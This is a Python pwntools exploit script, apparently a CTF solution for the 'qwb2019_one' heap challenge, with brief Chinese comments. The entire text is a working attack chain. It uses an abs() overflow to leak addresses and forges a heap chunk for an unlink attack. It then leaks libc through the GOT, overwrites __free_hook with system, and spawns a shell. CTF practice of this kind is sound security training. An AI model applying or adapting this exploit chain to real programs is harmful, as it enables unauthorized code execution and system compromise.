#coding:utf8
from pwn import *
#sh = process('./qwb2019_one')
sh = remote('node3.buuoj.cn',27591)
elf = ELF('./qwb2019_one')
free_got = elf.got['free']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
free_hook_s = libc.symbols['__free_hook']
free_s = libc.sym['free']
system_s = libc.sym['system']
def add(string):
sh.sendlineafter('command>>','1')
sh.sendafter('test string:',string)
def edit(index,old_c,new_c):
sh.sendlineafter('command>>','2')
sh.sendlineafter('index of the string:',str(index))
sh.sendafter('Which char do you want to edit:',old_c)
sh.sendlineafter('What do you want to edit it into:',new_c)
def show(index):
sh.sendlineafter('command>>','3')
sh.sendlineafter('index of the string:',str(index))
def delete(index):
sh.sendlineafter('command>>','4')
sh.sendlineafter('index of the string:',str(index))
def test(index):
sh.sendlineafter('command>>','12580')
sh.sendlineafter('Do you want to use one?(Y/N)','Y')
sh.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))
#abs溢出
test(0x80000000)
#泄露elf地址
sh.recvuntil('The string:\n')
heap0_ptr_addr = u64(sh.recv(6).ljust(0x8,'\x00'))
elf_base = heap0_ptr_addr - 0x2030C0
free_got_addr = elf_base + free_got
print 'heap0_ptr_addr=',hex(heap0_ptr_addr)
print 'elf_base=',hex(elf_base)
char_table = ''
for i in range(0x20):
char_table += chr(ord('a')+i)
add(char_table) #0
add('b'*0x20) #1
add('/bin/sh\x00') #2
#3~0x11
for i in range(0xF):
add('b'*0x20)
#0x12
add('c'*0x20)
#一步一步的将\x00替换为a,使得我们可以到达chunk1的size处
for i in range(0x18):
edit(0,'\x00',chr(ord('B') + i))
size = 0x40 * 0x11
#修改chunk1的size
edit(0,'\x41\n',p8(size & 0xFF))
edit(0,'\x00',p8((size >> 0x8) & 0xFF))
#现在修改chunk1的prev_size
for i in range(0x17,0x10,-1): #清空prev_size的高7字节
edit(0,chr(ord('B') + i) + '\n','\x00')
#写prev_size
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
#现在开始,在chunk0里伪造fake_chunk
fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap0_ptr_addr - 0x18) + p64(heap0_ptr_addr - 0x10)
#倒序写入
for i in range(0x1F,-1,-1):
edit(0,chr(ord('a')+i)+'\n',fake_chunk[i])
#unlink
delete(1)
#现在控制了堆指针数组
for i in range(0x18):
edit(0,'\x00','1')
#使得堆指针0指向数组的第二个位置
edit(0,'\xA8\n','\xC8')
#写入free_got的地址
for i in range(6):
edit(0,'\x00',p8((free_got_addr >> (8 * i)) & 0xFF))
show(1)
sh.recvuntil('The string is:\n')
free_addr = u64(sh.recv(6).ljust(0x8,'\x00'))
libc_base = free_addr - free_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#修改堆数组指针第二个,指向free_hook
for i in range(6):
edit(0,p8((free_got_addr >> (8 * i)) & 0xFF) + '\n',p8((free_hook_addr >> (8 * i)) & 0xFF))
#写free_hook
for i in range(6):
edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))
#getshell
delete(2)
sh.interactive()